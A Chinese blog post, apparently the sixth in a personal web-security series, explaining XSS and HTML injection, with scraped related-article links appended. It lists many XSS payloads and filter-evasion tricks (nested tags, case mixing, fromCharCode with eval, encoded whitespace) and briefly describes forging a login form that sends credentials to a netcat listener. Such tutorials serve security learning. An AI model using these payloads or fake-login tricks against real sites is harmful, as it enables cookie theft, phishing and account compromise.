零、前言

  最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、XSS:

  1、本质:

    XSS的本质是HTML代码注入,将用户输入的内容没有经过严格的审查写入了html文件中,用户的的输入内容在富脚本客户端得到执行。

  2、分类:    

 //1、反射型:一般指XSS payload作为参数传递进入后单次或短时间出现在html文件里,而不是永久保存其中的一类XSS
/*https://www.test.com/XSS?string='一段js脚本'*/
<script>alert(1)</script>
//2、存储型:用户输入XSS payload会存储进服务器的一类XSS,持续时间长,危害范围广。不在利用URL反射而是POST或者PUT到SERVER储存再返回到客户端页面
/*https://www.test.com/XSS?store='一段js脚本'*/
<script>alert(1)</script>
/*https://www.test.com/show触发*/
//3、DOM based XSS:XSS payload是通过网站的操作函数被写入html的某个dom节点里的,是属于一种特殊的反射型XSS
<script>
function xssattack(){
var str = document.getElementById("text").value;
document.getElementById('attack').innerHTML = "<a href='"+str"' >testlink</a>";
}</script>
//如上文代码,XSSpayload会被函数中的第二条语句写入id值为t的dom节点中。

  3、危害:   

  (1)盗取Cookie
  (2)盗取其他信息(用户的认证信息、浏览器版本、os信息、系统安装的软件、查询浏览记录)
  (3)增删改查用户可以增删改查的任何东西
  (4)钓鱼甚至蠕虫(终极武器)

  4、常见的payload:

   (1)<script>alert(1)</script>,<img src=1 onerror=alert(1)>,<svg onload=alert()>

   (2)<ScRipt>alert(1)</ScRIpt>,<scr<script>ipt>alert(1)</scr</script>ipt>

   (3)以上特殊字符编码成URL编码

   (4)<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>,<img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>

   (5)";alert(1);"【本身在<script>标签内】

   (6)<img src=javascript:alert(1)>,<div style="&#123&#43...&#72">【或者hex、base64编码】,<script src='/filepath/filename'></script>

   (7)<img src=1 on%09load=alert(1)>,<img src=1 onload=alert(1)>%0a,<svg/onload=alert()>,<svg%0a[%0d]onload=alert()>

   (8)隐藏输入的,可以在请求中添加&varname= 尝试输入或者闭合他的标签,加载外部站点的例如iframe src=xxxx 让src的有了xss即可,ng-include : xx.xx可以改为ng-include='level1.php?name=test<img src=1 onerror=alert(1)>'

     (9)alert()中()被过滤可以尝试使用``反引号

    (10)url;<script>alert(1)</script>url反射

  5、防御:

    (1)过滤用户输入

    (2)输出之前进行实体编码

二、更广泛的HTML注入:

  1、本质:

    向前端页面添加代码并执行,当时富脚本时候,变成XSS,只是HTML标签时候为HTML注入。

  2、payload:

    <a href='http://www.baidu.com'>

    paramwidth ="\" onload=alert(1)></ifrmae>//"

  3、HTML 存储型注入可以伪造登录界面,在自己的机器上用netcat监听,收集账号密码,此外HTML可以改变标签闭合,改变文档结构。

WEB安全第六篇--千里之外奇袭客户端:XSS和HTML注入的更多相关文章

  1. 实现手机扫描二维码页面登录,类似web微信-第三篇,手机客户端

    转自:http://www.cnblogs.com/fengyun99/p/3541254.html 上一篇,介绍了二维码生成的机制,紧接着,我们就要开发手机客户端来识别这个二维码. 二维码,实际上是 ...

  2. Java Web学习(六)HttpServletRequest(客户端请求)

    一.定义 HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有 ...

  3. 《手把手教你》系列技巧篇(四十六)-java+ selenium自动化测试-web页面定位toast-下篇(详解教程)

    1.简介 终于经过宏哥的不懈努力,偶然发现了一个toast的web页面,所以直接就用这个页面来夯实一下,上一篇学过的知识-处理toast元素. 2.安居客 事先声明啊,宏哥没有收他们的广告费啊,纯粹是 ...

  4. 第六篇 :微信公众平台开发实战Java版之如何自定义微信公众号菜单

    我们来了解一下 自定义菜单创建接口: http请求方式:POST(请使用https协议) https://api.weixin.qq.com/cgi-bin/menu/create?access_to ...

  5. Python之路【第六篇】:socket

    Python之路[第六篇]:socket   Socket socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字&quo ...

  6. [老老实实学WCF] 第六篇 元数据交换

    老老实实学WCF 第六篇 元数据交换 通过前两篇的学习,我们了解了WCF通信的一些基本原理,我们知道,WCF服务端和客户端通过共享元数据(包括服务协定.服务器终结点信息)在两个 终结点上建立通道从而进 ...

  7. 跟我学SpringCloud | 第六篇:Spring Cloud Config Github配置中心

    SpringCloud系列教程 | 第六篇:Spring Cloud Config Github配置中心 Springboot: 2.1.6.RELEASE SpringCloud: Greenwic ...

  8. Spring Cloud第六篇 | Hystrix仪表盘监控Hystrix Dashboard

    本文是Spring Cloud专栏的第六篇文章,了解前五篇文章内容有助于更好的理解本文: Spring Cloud第一篇 | Spring Cloud前言及其常用组件介绍概览 Spring Cloud ...

  9. 实现手机扫描二维码页面登录,类似web微信-第四篇,服务器端

    转自:http://blog.csdn.net/otangba/article/details/8273952 终于到了服务器端,第三篇的手机客户端如果已经下载了的话,没有服务器是不能正常运行的. 服 ...

随机推荐

  1. mac os x10.9.2 查看进程对应端口

    以前在Ubuntu上,直接sudo netstat -nap 但是在mac 上这个命令还跑不通,sudo netstat  -nap  tcp 才行,结果还没有进程号.用lsof -Pn 解决了

  2. Zend Studio 配置

    2.更改Zend字体 依次进入Window——Preferences——General——Appearance——Colors and Fonts——Basic——Text Font进行修改,偶还是喜 ...

  3. eclipse lua

    eclipse中的ldt插件是Lua Development Tools,开发lua专用的插件: 1.点击help->install new softWare,输入http://luaeclip ...

  4. volatile关键字的介绍和使用

    关键字volatile的主要作用是使变量在过个线程中可见 1.假设volatile不存在我们将会面对的问题 public class PrintString implements Runnable { ...

  5. Hadoop书签

    1)http://www.cnblogs.com/forfuture1978/archive/2010/03/14/1685351.html 2)http://www.cnblogs.com/sund ...

  6. 关于Unity中的碰撞检测和管理(2D)

    创建Unity3D项目和Unity2D项目的区别. 1.3D项目有摄像机和太阳光,2D项目只有摄像机 2.3D项目使用的贴图类型是Texture纹理,2D项目使用的贴图类型是Sprite 2D/UI ...

  7. 单精度浮点数(float)加法计算出错

    场景: 一个float型的变量赋值1170601,加上19000000,结果出现错误. 原因: float占用4个字节(32位)存储空间,包括符号位1位,阶码位8位,尾数23位.浮点数精度与它的尾数有 ...

  8. e575. The Quintessential Drawing Program

    To draw on the screen, it is first necessary to subclass a JComponent and override its paint() metho ...

  9. C++primer中 CacheObj实现(非常有意思)

    //CacheObj.h #ifndef __CacheObj__ #define __CacheObj__ #include <iostream> #include <stdexc ...

  10. CPU性能判断指标---上下文切换,运行队列和使用率

    http://blog.chinaunix.net/uid-15007890-id-3064254.html uptime11:35:08 up 21:57,  6 users,  load aver ...